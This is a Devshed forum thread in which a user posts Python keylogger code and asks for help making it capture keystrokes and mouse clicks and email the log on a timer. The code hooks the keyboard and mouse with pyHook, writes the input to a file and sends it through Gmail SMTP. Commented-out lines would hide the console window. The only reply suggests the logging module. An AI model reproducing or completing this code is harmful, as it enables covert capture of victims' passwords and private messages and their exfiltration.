#1
  1. No Profile Picture
    Registered User
    Devshed Newbie (0 - 499 posts)

    Join Date
    Nov 2012
    Posts
    1
    Rep Power
    0

    PyHook and Time Libraries


    Hey, I'm tring to create a software that records the keyboard/mouse and sends email of the log every predetermined period.

    I've manage to make the recorder and the auto-email sender, but I still can't make both of them work simultaneously.

    Can someone help me with this please?
    I thought about threading but again... It just sends blank mails without the logs.

    This is the code:

    Code:
    import win32api
    import win32console
    import win32gui
    import pythoncom, pyHook
    import smtplib
    import time
    import thread, threading
    
    #win = win32console.GetConsoleWindow()
    #win32gui.ShowWindow(win,0)
    
    log = ""
    logpath = "log.txt"
    
    openfile = open(logpath,"w")
    openfile.write("")
    
    #openfile = open(logpath,"r+")
    
    l = threading.Lock()
    
    
    def sendEmail():
        print("ready to send email")
        fromaddr = 'dorimeshi@gmail.com'
        toaddrs  = 'dorimeshi@gmail.com'
        msg = open('log.txt',"r").read()
    
        username = 'something'
        password = 'something' 
        server = smtplib.SMTP('smtp.gmail.com:587')
        server.starttls()
        server.login(username,password)
        server.sendmail(fromaddr, toaddrs, msg)
        server.quit()
        print("mail sent")
    
    def sendEmailAuto(dt,openfile):
            tt = time.time()
            nn = tt+dt
    
            while tt<nn:
                print(tt,nn)
                if tt>=nn-0.5:
                    #l.acquire()   <== I wasn't sure if I need to lock and release it, it makes sense, but I didn't understand how to use it in python
                    msg = open('log.txt',"r").read()
                    print(msg)
                    sendEmail()
                    tt = time.time()
                    nn = tt+dt
                    log = ""
                    #l.release()                
                else:
                    tt = time.time()
                    
    def OnKeyboardEvent(event):
        try:
            global log
            if event.Alt == 32 and event.KeyID == 160:
                log = "[LangCh]"
            elif event.KeyID>=37 and event.KeyID<=40:
                log = "["+event.Key+"]"
            elif event.Ascii == 8:
                log = "[BS]"
            elif event.Ascii == 9:
                log = "[TAB]"
            elif event.Ascii == 13:
                log = "[NL]"
            elif event.Ascii == 27:
                log = "[ESC]"
            elif event.Alt == 32 and event.KeyID == 75:
                openfile.close()
                sendEmail()
                exit()
            else:
                log = chr(event.Ascii)
            openfile.write(log)
        except:
            pass
        return True
    
    
    def OnMouseEvent(event):
        global log
        if event.MessageName == "mouse left down":
            log = "<"+event.WindowName +">\n"
            openfile.write(log)
        if event.MessageName == "mouse left up" and event.WindowName == None :
            log = "-\n"
            openfile.write(log)
        return True
    
    thread.start_new_thread(sendEmailAuto, (10,openfile))
    
    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm2 = pyHook.HookManager()
    hm2.MouseAll = OnMouseEvent
    
    hm.HookKeyboard()
    hm2.HookMouse()                
    
    pythoncom.PumpMessages()
  2. #2
  3. Contributing User
    Devshed Demi-God (4500 - 4999 posts)

    Join Date
    Aug 2011
    Posts
    4,996
    Rep Power
    481
    Try the logging module.
    [code]Code tags[/code] are essential for python code and Makefiles!

IMN logo majestic logo threadwatch logo seochat tools logo